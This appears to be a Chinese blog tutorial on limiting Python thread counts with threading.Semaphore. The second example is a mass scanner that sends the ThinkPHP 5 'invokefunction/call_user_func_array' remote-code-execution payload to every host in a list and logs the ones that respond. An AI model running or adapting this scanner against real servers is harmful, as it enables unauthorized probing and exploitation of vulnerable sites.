python多线程semaphore实现线程数控制的示例


Posted in Python onAugust 10, 2020

前面写过一篇关于python多线程的实现的文章, 但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。

百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法,这为python2的写法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数,线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程,可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法,python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数,释放线程,线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法,python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程,直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python 线程数控制内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python基础教程之基本内置数据类型介绍
Feb 20 Python
Python删除空文件和空文件夹的方法
Jul 14 Python
Python批量修改文本文件内容的方法
Apr 29 Python
python中requests小技巧
May 10 Python
python opencv设置摄像头分辨率以及各个参数的方法
Apr 02 Python
pyqt5 tablewidget 利用线程动态刷新数据的方法
Jun 17 Python
基于python进行抽样分布描述及实践详解
Sep 02 Python
Python操作Sonqube API获取检测结果并打印过程解析
Nov 27 Python
Python 实现简单的客户端认证
Jul 29 Python
python如何爬取动态网站
Sep 09 Python
Python读写锁实现实现代码解析
Nov 28 Python
python 实现简易的记事本
Nov 30 Python
如何在python中实现线性回归
Aug 10 #Python
Python多线程的退出控制实现
Aug 10 #Python
Python进行统计建模
Aug 10 #Python
Python如何爬取b站热门视频并导入Excel
Aug 10 #Python
拿来就用!Python批量合并PDF的示例代码
Aug 10 #Python
Python 发送邮件方法总结
Aug 10 #Python
Python getattr()函数使用方法代码实例
Aug 10 #Python
You might like
Cannot modify header information错误解决方法
2008/10/08 PHP
php SQL Injection with MySQL
2011/02/27 PHP
PHP利用str_replace防注入的方法
2013/11/10 PHP
PHP中执行MYSQL事务解决数据写入不完整等情况
2014/01/07 PHP
php array_merge_recursive 数组合并
2016/10/26 PHP
PHP 实现页面静态化的几种方法
2017/07/23 PHP
vs2003 js文件编码问题的解决方法
2010/03/20 Javascript
JQuery FlexiGrid的asp.net完美解决方案 dotNetFlexGrid-.Net原生的异步表格控件
2010/09/12 Javascript
深入解析JavaScript编程中的this关键字使用
2015/11/09 Javascript
整理一下常见的IE错误
2016/11/18 Javascript
vue实现简单实时汇率计算功能
2017/01/15 Javascript
JS实现图片高斯模糊切换效果的焦点图实例
2017/01/21 Javascript
vuex的简单使用教程
2018/02/02 Javascript
原生JS实现瀑布流插件
2018/02/06 Javascript
深入浅出了解Node.js Streams
2019/05/27 Javascript
jQuery 隐藏/显示效果函数用法实例分析
2020/05/20 jQuery
详解Node.js使用token进行认证的简单示例
2020/05/25 Javascript
vue 公共列表选择组件,引用Vant-UI的样式方式
2020/11/02 Javascript
浅谈Python 集合(set)类型的操作——并交差
2016/06/30 Python
python基于物品协同过滤算法实现代码
2018/05/31 Python
numpy中矩阵合并的实例
2018/06/15 Python
windows下搭建python scrapy爬虫框架步骤
2018/12/23 Python
对Python 两大环境管理神器 pyenv 和 virtualenv详解
2018/12/31 Python
python 操作hive pyhs2方式
2019/12/21 Python
python+tifffile之tiff文件读写方式
2020/01/13 Python
python数据库编程 Mysql实现通讯录
2020/03/27 Python
Python3.8安装Pygame教程步骤详解
2020/08/14 Python
CSS3绘制有活力的链接下划线
2016/07/14 HTML / CSS
Diptyque英国官方网站:源自法国的知名香氛品牌
2019/08/28 全球购物
营销与策划个人求职信
2013/09/22 职场文书
人力资源主管岗位职责
2014/01/29 职场文书
学雷锋志愿者活动总结
2014/06/27 职场文书
2015年社区中秋节活动总结
2015/03/23 职场文书
2015年客服工作总结范文
2015/04/02 职场文书
产品调价通知函
2015/04/20 职场文书
暑假开始了,你的暑假学习计划写好了吗?
2019/07/04 职场文书